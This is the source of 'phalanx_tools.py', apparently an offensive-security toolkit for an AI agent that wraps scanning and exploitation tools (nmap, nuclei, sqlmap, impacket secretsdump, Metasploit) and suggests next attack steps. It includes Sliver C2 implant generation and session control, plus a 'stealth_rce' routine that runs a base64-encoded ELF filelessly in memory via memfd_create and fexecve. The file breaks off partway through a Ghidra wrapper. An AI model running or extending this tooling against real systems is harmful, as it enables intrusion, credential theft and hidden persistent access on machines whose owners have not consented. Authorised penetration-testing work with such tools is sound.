-
Notifications
You must be signed in to change notification settings - Fork 14
Expand file tree
/
Copy pathphalanx_tools.py
More file actions
1381 lines (1259 loc) · 65.6 KB
/
phalanx_tools.py
File metadata and controls
1381 lines (1259 loc) · 65.6 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env python3
"""
PHALANX Tools v3.3 – Gateway, tool runners, interactive sessions, skill registry.
Includes full recon, exploit, post‑exploit, C2, and SWARM‑specific tools.
All tools respect the sandbox configuration.
Enhanced with:
- Typed tool interfaces with parsers in TOOL_REGISTRY
- Model routing (reasoning vs fast model) in Gateway
- Built‑in parsers for nmap, nuclei, sqlmap, etc.
- Lightweight RAG Tool Optimizer (embedding-based tool retrieval)
- MCP (Model Context Protocol) compatibility layer for dynamic tool servers
- Thread‑safe registry updates (RLock)
- Robust Docker sandbox execution (fixed stdin issue)
- Fixed: command injection risk in sandbox (no shell wrapper)
- Fixed: stealth_rce platform detection for syscalls
- Fixed: scrape fallback parser when lxml missing
- Fixed: sliver fallback subprocess with shlex
- Fixed: nikto flag compatibility
- Fixed: embedding cache thread safety
- Added cloud_metadata_probe and template_injection_test tools
"""
from __future__ import annotations
import json
import re
import shutil
import subprocess
import threading
import time
import tempfile
import base64
import ctypes
import ctypes.util
import os
import sys
import logging
import inspect
import functools
import shlex
from pathlib import Path
from typing import Any, Dict, Iterator, List, Optional, Callable, Tuple
from concurrent.futures import ThreadPoolExecutor, as_completed
import requests
# Optional dependencies
_DOCKER_AVAILABLE = False
_TMUX_AVAILABLE = False
_PEXPECT_AVAILABLE = False
try:
import docker
_DOCKER_AVAILABLE = True
except ImportError:
docker = None
try:
import pexpect
_PEXPECT_AVAILABLE = True
except ImportError:
pexpect = None
if shutil.which("tmux"):
_TMUX_AVAILABLE = True
# Web scraping – make fake_useragent optional
_SCRAPE_AVAILABLE = False
BeautifulSoup = None
UserAgent = None
try:
from bs4 import BeautifulSoup
_SCRAPE_AVAILABLE = True
except ImportError:
pass
try:
from fake_useragent import UserAgent
except ImportError:
UserAgent = None
# Playwright for JS rendering
try:
from playwright.sync_api import sync_playwright
_PLAYWRIGHT_AVAILABLE = True
except ImportError:
_PLAYWRIGHT_AVAILABLE = False
logger = logging.getLogger("phalanx_tools")
# ------------------------------------------------------------------
# Global config (set by Gateway or main)
# ------------------------------------------------------------------
_GLOBAL_CONFIG = {"sandbox": {"enabled": False, "image": "kalilinux/kali-rolling", "docker_network": "phalanx-net"}}
def set_global_config(config: dict):
global _GLOBAL_CONFIG
_GLOBAL_CONFIG.update(config)
def get_global_config() -> dict:
return _GLOBAL_CONFIG
# ------------------------------------------------------------------
# Docker sandbox client (lazy) with proper error handling
# ------------------------------------------------------------------
_DOCKER_CLIENT = None
_DOCKER_CLIENT_LOCK = threading.Lock()
def get_docker_client():
global _DOCKER_CLIENT
if _DOCKER_CLIENT is None and _DOCKER_AVAILABLE:
with _DOCKER_CLIENT_LOCK:
if _DOCKER_CLIENT is None:
try:
_DOCKER_CLIENT = docker.from_env()
except Exception as e:
logger.warning(f"Docker client init failed: {e}")
_DOCKER_CLIENT = None
return _DOCKER_CLIENT
# ------------------------------------------------------------------
# Unified execution: respects sandbox configuration (no shell injection)
# ------------------------------------------------------------------
def _execute_in_sandbox(cmd: List[str], timeout: int = 120, input_data: Optional[str] = None,
config: Optional[dict] = None) -> Dict:
cfg = config or _GLOBAL_CONFIG
sandbox_cfg = cfg.get("sandbox", {})
if sandbox_cfg.get("enabled", False):
docker_client = get_docker_client()
if docker_client:
image = sandbox_cfg.get("image", "kalilinux/kali-rolling")
network = sandbox_cfg.get("docker_network", "phalanx-net")
try:
if input_data is not None:
logger.warning("Docker sandbox with stdin not supported, falling back to local")
return _execute_local(cmd, timeout, input_data)
# Run command directly without shell wrapper (no injection risk)
container = docker_client.containers.run(
image,
command=cmd, # list of strings, not joined with shell
network=network,
detach=True,
stdin_open=False,
tty=False,
stdout=True,
stderr=True,
)
start = time.time()
while time.time() - start < timeout:
container.reload()
if container.status in ("exited", "dead"):
break
time.sleep(0.5)
else:
container.kill()
container.remove()
return {"output": "", "error": f"Sandbox timed out after {timeout}s", "rc": -1}
result = container.wait()
logs = container.logs(stdout=True, stderr=True).decode('utf-8', errors='replace')
container.remove()
return {"output": logs.strip(), "error": None, "rc": result["StatusCode"]}
except Exception as e:
logger.error(f"Docker sandbox execution failed: {e}, falling back to local")
return _execute_local(cmd, timeout, input_data)
return _execute_local(cmd, timeout, input_data)
def _execute_local(cmd: List[str], timeout: int = 120, input_data: Optional[str] = None) -> Dict:
if not shutil.which(cmd[0]):
return {"output": "", "error": f"Tool '{cmd[0]}' not found", "rc": -1}
try:
result = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout, input=input_data)
return {
"output": (result.stdout + result.stderr).strip(),
"error": None if result.returncode == 0 else result.stderr.strip()[:500],
"rc": result.returncode
}
except subprocess.TimeoutExpired:
return {"output": "", "error": f"Timed out after {timeout}s", "rc": -1}
except Exception as e:
return {"output": "", "error": str(e), "rc": -1}
# ------------------------------------------------------------------
# Interactive session manager (tmux + pexpect)
# ------------------------------------------------------------------
class InteractiveSession:
def __init__(self, tool: str, command: str, expect_prompt: str = None):
self.tool = tool
self.command = command
self.expect_prompt = expect_prompt or r"[$#>]"
self.session_name = f"phalanx_{tool}_{int(time.time())}"
self.child = None
self._started = False
def start(self, timeout=10) -> bool:
if not (_TMUX_AVAILABLE and _PEXPECT_AVAILABLE):
return False
try:
subprocess.run(["tmux", "new-session", "-d", "-s", self.session_name, self.tool], check=True)
subprocess.run(["tmux", "send-keys", "-t", self.session_name, self.command, "Enter"], check=True)
time.sleep(0.5)
self.child = subprocess.Popen(
["tmux", "capture-pane", "-p", "-t", self.session_name],
stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True
)
for _ in range(timeout * 2):
time.sleep(0.5)
out, _ = self.child.communicate(timeout=0.1)
if out and re.search(self.expect_prompt, out):
self._started = True
return True
return False
except Exception as e:
logger.error(f"Interactive session start failed: {e}")
return False
def send(self, text: str, expect_response=True, timeout=30) -> str:
if not self._started:
return ""
try:
subprocess.run(["tmux", "send-keys", "-t", self.session_name, text, "Enter"], check=True)
if expect_response:
time.sleep(1)
for _ in range(timeout * 2):
time.sleep(0.5)
out, _ = self.child.communicate(timeout=0.1)
if out and re.search(self.expect_prompt, out):
return out
return self._get_output()
return ""
except Exception as e:
logger.error(f"Send failed: {e}")
return ""
def _get_output(self) -> str:
try:
result = subprocess.run(["tmux", "capture-pane", "-t", self.session_name, "-p"], capture_output=True, text=True)
return result.stdout
except:
return ""
def close(self):
if self._started:
subprocess.run(["tmux", "kill-session", "-t", self.session_name], stderr=subprocess.DEVNULL)
self._started = False
def run_interactive(tool: str, command: str, timeout=60, expect_prompt=None, send_input=None) -> Dict:
session = InteractiveSession(tool, command, expect_prompt)
if not session.start():
try:
proc = subprocess.run(command.split(), capture_output=True, text=True, timeout=timeout)
return {"output": proc.stdout, "error": proc.stderr, "rc": proc.returncode}
except Exception as e:
return {"output": "", "error": f"Interactive session not available: {e}", "rc": -1}
output = ""
if send_input and expect_prompt:
output = session.send(send_input, expect_response=True, timeout=timeout)
else:
time.sleep(timeout)
output = session._get_output()
session.close()
return {"output": output, "error": None, "rc": 0}
# ------------------------------------------------------------------
# Built‑in parsers (structured output extraction)
# ------------------------------------------------------------------
def parse_nmap_output(raw_output: str, args: Dict) -> Dict:
ports_open = []
services = []
for line in raw_output.splitlines():
m = re.match(r"(\d+)/\w+\s+open\s+(\S+)", line)
if m:
ports_open.append(m.group(1))
services.append(m.group(2))
os_match = re.search(r"OS guess:\s+(.+?)(?:\n|$)", raw_output)
os_guess = os_match.group(1) if os_match else None
return {
"findings": [{"port": p, "service": s} for p, s in zip(ports_open, services)],
"evidence": ports_open[:10],
"next_hints": [f"Check service {s}" for s in set(services)],
"confidence": 0.9 if ports_open else 0.5,
"open_ports": ports_open,
"services": services,
"os_guess": os_guess
}
def parse_nuclei_output(raw_output: str, args: Dict) -> Dict:
findings = []
for line in raw_output.splitlines():
if not line.strip():
continue
try:
data = json.loads(line)
findings.append({
"name": data.get("info", {}).get("name", "Unknown"),
"severity": data.get("info", {}).get("severity", "info"),
"description": data.get("info", {}).get("description", ""),
"matched_at": data.get("matched-at", ""),
"cve_id": data.get("info", {}).get("classification", {}).get("cve-id", [])
})
except:
pass
return {
"findings": findings,
"evidence": [f["name"] for f in findings[:5]],
"next_hints": [f"Exploit {f['name']}" for f in findings[:3]],
"confidence": 0.8 if findings else 0.3
}
def parse_sqlmap_output(raw_output: str, args: Dict) -> Dict:
injectable = "injectable" in raw_output.lower()
db_match = re.search(r"back-end DBMS:\s+(.+?)(?:\n|$)", raw_output, re.I)
dbms = db_match.group(1) if db_match else None
return {
"findings": [{"injectable": injectable, "dbms": dbms}] if injectable else [],
"evidence": ["SQL injection detected"] if injectable else [],
"next_hints": ["Dump data using --dump"] if injectable else [],
"confidence": 0.95 if injectable else 0.0,
"injectable": injectable,
"dbms": dbms
}
def parse_subfinder_output(raw_output: str, args: Dict) -> Dict:
subs = [l.strip() for l in raw_output.splitlines() if l.strip()]
return {
"findings": [{"subdomain": s} for s in subs],
"evidence": subs[:10],
"next_hints": ["Run httpx on discovered subdomains"] if subs else [],
"confidence": 0.9 if subs else 0.2,
"subdomains": subs
}
def parse_httpx_output(raw_output: str, args: Dict) -> Dict:
urls = [l.strip() for l in raw_output.splitlines() if l.strip()]
return {
"findings": [{"url": u} for u in urls],
"evidence": urls[:10],
"next_hints": ["Run nuclei on discovered URLs"] if urls else [],
"confidence": 0.85 if urls else 0.1,
"urls": urls
}
def parse_naabu_output(raw_output: str, args: Dict) -> Dict:
ports = re.findall(r"(\d+)\s+open", raw_output)
return {
"findings": [{"port": p} for p in ports],
"evidence": ports[:10],
"next_hints": ["Run nmap -sV on open ports"] if ports else [],
"confidence": 0.8 if ports else 0.2,
"ports": ports
}
def parse_ghidra_output(raw_output: str, args: Dict) -> Dict:
interesting = []
if "INTERESTING_STRINGS:" in raw_output:
part = raw_output.split("INTERESTING_STRINGS:")[1].splitlines()[0]
interesting = part.split(",")
func_count = raw_output.count("Function at")
return {
"findings": [{"interesting_string": s} for s in interesting[:10]],
"evidence": interesting[:5],
"next_hints": ["Check for hardcoded credentials"] if interesting else [],
"confidence": 0.7 if interesting else 0.3,
"interesting_strings": interesting,
"functions_count": func_count
}
def parse_scrape_output(raw_output: str, args: Dict) -> Dict:
return {
"findings": args.get("parsed", {}).get("emails", []),
"evidence": args.get("parsed", {}).get("emails", [])[:5],
"next_hints": ["Check for forms and links"],
"confidence": 0.9
}
# ------------------------------------------------------------------
# Tool runners (raw output only – parsing moved to registry parsers)
# ------------------------------------------------------------------
def run_nmap(target: str, ports: str = "1-65535", flags: str = "-sV -sC --open", timeout: int = 300, config: Optional[dict] = None, **kwargs) -> Dict:
if 'options' in kwargs:
flags = kwargs['options']
if '-p' in flags:
cmd = ["nmap"] + flags.split() + [target]
else:
cmd = ["nmap"] + flags.split() + ["-p", ports, target]
res = _execute_in_sandbox(cmd, timeout, config=config)
return {"tool": "nmap", "target": target, "output": res["output"], "error": res["error"], "rc": res["rc"]}
def run_nmap_quick(target: str, timeout=60, config=None) -> Dict:
cmd = ["nmap", "-sV", "--open", "--top-ports", "1000", target]
res = _execute_in_sandbox(cmd, timeout, config=config)
return {"tool": "nmap_quick", "target": target, "output": res["output"], "error": res["error"], "rc": res["rc"]}
def run_whois(target: str, timeout=30, config=None) -> Dict:
res = _execute_in_sandbox(["whois", target], timeout, config=config)
return {"tool": "whois", "target": target, "output": res["output"], "error": res["error"], "rc": res["rc"]}
def run_dig(target: str, record="ANY", timeout=15, config=None) -> Dict:
res = _execute_in_sandbox(["dig", target, record, "+noall", "+answer"], timeout, config=config)
return {"tool": "dig", "target": target, "output": res["output"], "error": res["error"], "rc": res["rc"]}
def run_subfinder(domain: str, timeout=60, config=None) -> Dict:
res = _execute_in_sandbox(["subfinder", "-d", domain, "-silent"], timeout, config=config)
return {"tool": "subfinder", "target": domain, "output": res["output"], "error": res["error"], "rc": res["rc"]}
def run_theharvester(domain: str, sources="all", timeout=120, config=None) -> Dict:
res = _execute_in_sandbox(["theHarvester", "-d", domain, "-b", sources, "-l", "200"], timeout, config=config)
return {"tool": "theharvester", "target": domain, "output": res["output"], "error": res["error"], "rc": res["rc"]}
def run_enum4linux(target: str, timeout=180, config=None) -> Dict:
res = _execute_in_sandbox(["enum4linux", "-a", target], timeout, config=config)
return {"tool": "enum4linux", "target": target, "output": res["output"], "error": res["error"], "rc": res["rc"]}
def run_httpx(targets: str, timeout=120, config=None) -> Dict:
tmp_file = None
try:
cmd = ["httpx", "-silent", "-threads", "20", "-timeout", "5"]
if "," in targets:
with tempfile.NamedTemporaryFile(mode='w', suffix='.txt', delete=False) as f:
for t in targets.split(","):
f.write(t.strip() + "\n")
tmp_file = f.name
cmd.extend(["-l", tmp_file])
res = _execute_in_sandbox(cmd, timeout, config=config)
else:
cmd.append(targets)
res = _execute_in_sandbox(cmd, timeout, config=config)
return {"tool": "httpx", "target": targets, "output": res["output"], "error": res["error"], "rc": res["rc"]}
finally:
if tmp_file and os.path.exists(tmp_file):
os.unlink(tmp_file)
def run_nuclei(target: str, severity="info", timeout=300, config=None) -> Dict:
cmd = ["nuclei", "-target", target, "-silent", "-severity", severity, "-json"]
res = _execute_in_sandbox(cmd, timeout, config=config)
return {"tool": "nuclei", "target": target, "output": res["output"], "error": res["error"], "rc": res["rc"]}
def run_naabu(target: str, ports="top-1000", timeout=180, config=None) -> Dict:
cmd = ["naabu", "-host", target, "-ports", ports, "-silent"]
res = _execute_in_sandbox(cmd, timeout, config=config)
return {"tool": "naabu", "target": target, "output": res["output"], "error": res["error"], "rc": res["rc"]}
def run_katana(target: str, depth=3, timeout=180, config=None) -> Dict:
cmd = ["katana", "-u", target, "-depth", str(depth), "-silent"]
res = _execute_in_sandbox(cmd, timeout, config=config)
return {"tool": "katana", "target": target, "output": res["output"], "error": res["error"], "rc": res["rc"]}
def run_dnsx(domain: str, timeout=60, config=None) -> Dict:
cmd = ["dnsx", "-d", domain, "-recon", "-silent"]
res = _execute_in_sandbox(cmd, timeout, config=config)
return {"tool": "dnsx", "target": domain, "output": res["output"], "error": res["error"], "rc": res["rc"]}
def run_gau(domain: str, timeout=120, config=None) -> Dict:
cmd = ["gau", domain]
res = _execute_in_sandbox(cmd, timeout, config=config)
return {"tool": "gau", "target": domain, "output": res["output"], "error": res["error"], "rc": res["rc"]}
def run_nikto(target: str, timeout=300, config=None) -> Dict:
url = target if target.startswith("http") else f"http://{target}"
cmd = ["nikto", "-h", url, "-Format", "txt"]
res = _execute_in_sandbox(cmd, timeout, config=config)
return {"tool": "nikto", "target": target, "output": res["output"], "error": res["error"], "rc": res["rc"]}
def run_whatweb(target: str, timeout=30, config=None) -> Dict:
url = target if target.startswith("http") else f"http://{target}"
res = _execute_in_sandbox(["whatweb", "-a", "3", url], timeout, config=config)
return {"tool": "whatweb", "target": target, "output": res["output"], "error": res["error"], "rc": res["rc"]}
def run_gobuster(target: str, wordlist="/usr/share/wordlists/dirb/common.txt", timeout=300, config=None) -> Dict:
if not Path(wordlist).exists():
return {"tool": "gobuster", "target": target, "output": "", "error": "Wordlist not found", "rc": -1}
url = target if target.startswith("http") else f"http://{target}"
cmd = ["gobuster", "dir", "-u", url, "-w", wordlist, "-q", "--no-progress", "-t", "20"]
res = _execute_in_sandbox(cmd, timeout, config=config)
return {"tool": "gobuster", "target": target, "output": res["output"], "error": res["error"], "rc": res["rc"]}
def run_ffuf(target: str, wordlist="/usr/share/seclists/Discovery/Web-Content/common.txt", timeout=300, config=None) -> Dict:
if not Path(wordlist).exists():
wordlist = "/usr/share/wordlists/dirb/common.txt"
if not Path(wordlist).exists():
return {"tool": "ffuf", "target": target, "output": "", "error": "Wordlist not found", "rc": -1}
url = target if target.startswith("http") else f"http://{target}"
if "FUZZ" not in url:
url = url.rstrip("/") + "/FUZZ"
cmd = ["ffuf", "-u", url, "-w", wordlist, "-s", "-mc", "200,301,302,403", "-t", "30"]
res = _execute_in_sandbox(cmd, timeout, config=config)
return {"tool": "ffuf", "target": target, "output": res["output"], "error": res["error"], "rc": res["rc"]}
def run_wpscan(target: str, timeout=180, config=None) -> Dict:
url = target if target.startswith("http") else f"http://{target}"
res = _execute_in_sandbox(["wpscan", "--url", url, "--no-update", "--format", "cli-no-color"], timeout, config=config)
return {"tool": "wpscan", "target": target, "output": res["output"], "error": res["error"], "rc": res["rc"]}
def run_sqlmap(target: str, data=None, level=1, risk=1, timeout=600, config=None) -> Dict:
url = target if target.startswith("http") else f"http://{target}"
cmd = ["sqlmap", "-u", url, "--batch", f"--level={level}", f"--risk={risk}", "--output-dir=/tmp/phalanx_sqlmap"]
if data:
cmd.extend(["--data", data])
res = _execute_in_sandbox(cmd, timeout, config=config)
return {"tool": "sqlmap", "target": target, "output": res["output"], "error": res["error"], "rc": res["rc"]}
def run_sqlmap_detect(target: str, timeout=120, config=None) -> Dict:
return run_sqlmap(target, level=1, risk=1, timeout=timeout, config=config)
def run_scrape(target: str, timeout=30, use_js=True, config=None) -> Dict:
if not _SCRAPE_AVAILABLE:
return {"tool": "scrape", "target": target, "output": "", "error": "BeautifulSoup not installed. Run: pip install beautifulsoup4", "rc": -1}
if not target.startswith(("http://", "https://")):
target = "http://" + target
html = ""
if use_js and _PLAYWRIGHT_AVAILABLE:
try:
with sync_playwright() as p:
browser = p.chromium.launch(headless=True)
page = browser.new_page()
page.goto(target, timeout=timeout*1000)
page.wait_for_load_state("networkidle")
html = page.content()
browser.close()
except Exception as e:
return {"tool": "scrape", "target": target, "output": "", "error": f"Playwright error: {e}", "rc": -1}
else:
try:
if UserAgent:
ua = UserAgent()
headers = {"User-Agent": ua.random}
else:
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}
r = requests.get(target, headers=headers, timeout=timeout)
html = r.text
except Exception as e:
return {"tool": "scrape", "target": target, "output": "", "error": str(e), "rc": -1}
try:
soup = BeautifulSoup(html, "lxml")
except Exception:
soup = BeautifulSoup(html, "html.parser")
emails = re.findall(r'[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}', soup.get_text())
links = [a.get('href') for a in soup.find_all('a', href=True)][:50]
forms = [{"action": f.get('action', ''), "method": f.get('method', 'get')} for f in soup.find_all('form')]
tech_hints = []
tech_patterns = ['wordpress', 'drupal', 'joomla', 'nginx', 'apache', 'iis', 'php', 'asp.net', 'ruby on rails', 'django', 'flask', 'node.js', 'express', 'react', 'angular', 'vue', 'jquery', 'bootstrap']
for pattern in tech_patterns:
if pattern.lower() in html.lower():
tech_hints.append(pattern)
parsed = {
"title": soup.title.string.strip() if soup.title else None,
"emails": list(set(emails))[:20],
"links_count": len(links),
"sample_links": links[:10],
"forms": forms,
"tech_hints": list(set(tech_hints))[:10]
}
output = f"Scraped {target} – {len(emails)} emails, {len(links)} links, {len(forms)} forms"
return {"tool": "scrape", "target": target, "output": output, "parsed": parsed, "error": None, "rc": 0}
def run_msfconsole(resource: str, timeout=600, config=None) -> Dict:
if not resource:
return {"tool": "msfconsole", "target": "", "output": "", "error": "Missing resource script", "rc": -1}
cmd = ["msfconsole", "-q", "-r", resource]
res = _execute_in_sandbox(cmd, timeout, config=config)
return {"tool": "msfconsole", "target": resource, "output": res["output"], "error": res["error"], "rc": res["rc"]}
def run_searchsploit(query: str, timeout=20, config=None) -> Dict:
cmd = ["searchsploit", "-t", query]
res = _execute_in_sandbox(cmd, timeout, config=config)
return {"tool": "searchsploit", "target": query, "output": res["output"], "error": res["error"], "rc": res["rc"]}
def run_impacket(target: str, tool="secretsdump", args="", timeout=300, config=None) -> Dict:
impacket_cmd = f"impacket-{tool}"
if not shutil.which(impacket_cmd):
return {"tool": f"impacket_{tool}", "target": target, "output": "", "error": f"{impacket_cmd} not found", "rc": -1}
cmd = [impacket_cmd, target] + args.split()
res = _execute_in_sandbox(cmd, timeout, config=config)
return {"tool": f"impacket_{tool}", "target": target, "output": res["output"], "error": res["error"], "rc": res["rc"]}
def run_sliver_generate(target_ip: str, mtls_port=443, timeout=60, config=None) -> Dict:
if not shutil.which("sliver-client"):
return {"tool": "sliver_generate", "target": target_ip, "output": "", "error": "sliver-client not installed", "rc": -1}
cmd = f"generate --mtls {target_ip}:{mtls_port} --os linux --save /tmp/phalanx_implant"
try:
res = run_interactive("sliver-client", cmd, timeout=timeout, expect_prompt="[*]")
if res.get("rc", -1) == 0:
return {"tool": "sliver_generate", "target": target_ip, "output": res["output"], "error": res.get("error"), "rc": 0}
except Exception as e:
logger.warning(f"Interactive sliver failed: {e}, trying subprocess")
try:
cmd_parts = shlex.split(cmd)
proc = subprocess.run(["sliver-client"] + cmd_parts, capture_output=True, text=True, timeout=timeout)
return {"tool": "sliver_generate", "target": target_ip, "output": proc.stdout, "error": proc.stderr, "rc": proc.returncode}
except Exception as e:
return {"tool": "sliver_generate", "target": target_ip, "output": "", "error": str(e), "rc": -1}
def run_sliver_sessions(timeout=30, config=None) -> Dict:
if not shutil.which("sliver-client"):
return {"tool": "sliver_sessions", "target": "", "output": "", "error": "sliver-client not installed", "rc": -1}
try:
res = run_interactive("sliver-client", "sessions", timeout=timeout, expect_prompt="[*]")
if res.get("rc", -1) == 0:
return {"tool": "sliver_sessions", "target": "", "output": res["output"], "error": res.get("error"), "rc": 0}
except Exception:
pass
try:
proc = subprocess.run(["sliver-client", "sessions"], capture_output=True, text=True, timeout=timeout)
return {"tool": "sliver_sessions", "target": "", "output": proc.stdout, "error": proc.stderr, "rc": proc.returncode}
except Exception as e:
return {"tool": "sliver_sessions", "target": "", "output": "", "error": str(e), "rc": -1}
def _get_syscall_numbers():
"""Return memfd_create and fexecve syscall numbers for the current architecture."""
machine = os.uname().machine
if machine == 'x86_64':
return 319, 322
elif machine == 'aarch64' or machine == 'arm64':
return 279, 279 # fexecve not defined? fallback
elif machine.startswith('arm'):
return 385, None
else:
return None, None
def run_stealth_rce(elf_b64: str, argv: list = None, envp: list = None, config=None) -> Dict:
syscall_memfd, syscall_fexecve = _get_syscall_numbers()
if syscall_memfd is None or syscall_fexecve is None:
return {"tool": "stealth_rce", "output": "", "error": "Unsupported architecture for memfd_create", "rc": -1}
libc_path = ctypes.util.find_library("c")
if libc_path is None:
if sys.platform.startswith("linux"):
libc_path = "libc.so.6"
elif sys.platform == "darwin":
libc_path = "libc.dylib"
else:
return {"tool": "stealth_rce", "output": "", "error": "Cannot find libc", "rc": -1}
try:
libc = ctypes.CDLL(libc_path, use_errno=True)
except OSError as e:
return {"tool": "stealth_rce", "output": "", "error": f"Failed to load libc: {e}", "rc": -1}
def memfd_create(name: bytes, flags: int = 0) -> int:
return libc.syscall(syscall_memfd, name, flags)
def fexecve(fd: int, argv_list: list, envp_list: list) -> int:
argv_arr = (ctypes.c_char_p * (len(argv_list)+1))()
for i, arg in enumerate(argv_list):
argv_arr[i] = arg.encode()
argv_arr[len(argv_list)] = None
envp_arr = (ctypes.c_char_p * (len(envp_list)+1))()
for i, env in enumerate(envp_list):
envp_arr[i] = env.encode()
envp_arr[len(envp_list)] = None
return libc.syscall(syscall_fexecve, fd, argv_arr, envp_arr)
try:
elf_bytes = base64.b64decode(elf_b64)
except:
return {"tool": "stealth_rce", "output": "", "error": "Invalid base64", "rc": -1}
fd = memfd_create(b"payload", 0)
if fd < 0:
return {"tool": "stealth_rce", "output": "", "error": f"memfd_create failed: {ctypes.get_errno()}", "rc": -1}
try:
os.write(fd, elf_bytes)
argv = argv or ["payload"]
envp = envp or []
fexecve(fd, argv, envp)
return {"tool": "stealth_rce", "output": "", "error": "fexecve did not replace process", "rc": -1}
except Exception as e:
return {"tool": "stealth_rce", "output": "", "error": str(e), "rc": -1}
finally:
os.close(fd)
def run_copyright_osint(target: str, timeout=120, config=None) -> Dict:
domain = target
results = {"target": domain, "findings": [], "risk_score": 0.0}
def add_finding(finding_type, evidence, severity="info"):
results["findings"].append({"type": finding_type, "evidence": str(evidence)[:500], "severity": severity})
if severity == "high":
results["risk_score"] += 0.4
elif severity == "medium":
results["risk_score"] += 0.2
else:
results["risk_score"] += 0.05
scrape = run_scrape(domain, timeout=timeout, use_js=False, config=config)
if scrape["rc"] == 0 and scrape.get("parsed"):
text = scrape["output"]
if "copyright" in text.lower() or "©" in text:
add_finding("copyright_notice", "Found copyright text", "info")
piracy_paths = ["/movies/", "/cracks/", "/warez/", "/torrents/", "/mp3/"]
for path in piracy_paths:
test_url = f"http://{domain}{path}"
try:
r = requests.get(test_url, timeout=10)
if r.status_code == 200:
add_finding("potential_piracy_directory", test_url, "medium")
except:
pass
results["risk_score"] = min(1.0, results["risk_score"])
return {"tool": "copyright_osint", "target": domain, "output": f"Found {len(results['findings'])} findings", "parsed": results, "error": None, "rc": 0}
def run_burp_scan(target: str, scan_type="active", timeout=600, config=None) -> Dict:
logger.warning("Burp scan is a placeholder – implement REST API or headless.")
return {
"tool": "burp_scan",
"target": target,
"output": "Burp scan not fully integrated. Use --sandbox disabled and configure Burp REST API.",
"parsed": {},
"error": None,
"rc": 0
}
def run_ghidra_analyze(binary_path: str, timeout=300, config=None) -> Dict:
if not Path(binary_path).exists():
return {"tool": "ghidra_analyze", "target": binary_path, "output": "", "parsed": {}, "error": f"Binary not found: {binary_path}", "rc": -1}
ghidra_install = os.environ.get("GHIDRA_INSTALL_DIR")
analyze_cmd = None
if ghidra_install:
analyze_cmd = str(Path(ghidra_install) / "support" / "analyzeHeadless")
if not Path(analyze_cmd).exists():
analyze_cmd = None
if not analyze_cmd:
analyze_cmd = shutil.which("analyzeHeadless")
if analyze_cmd and Path(analyze_cmd).exists():
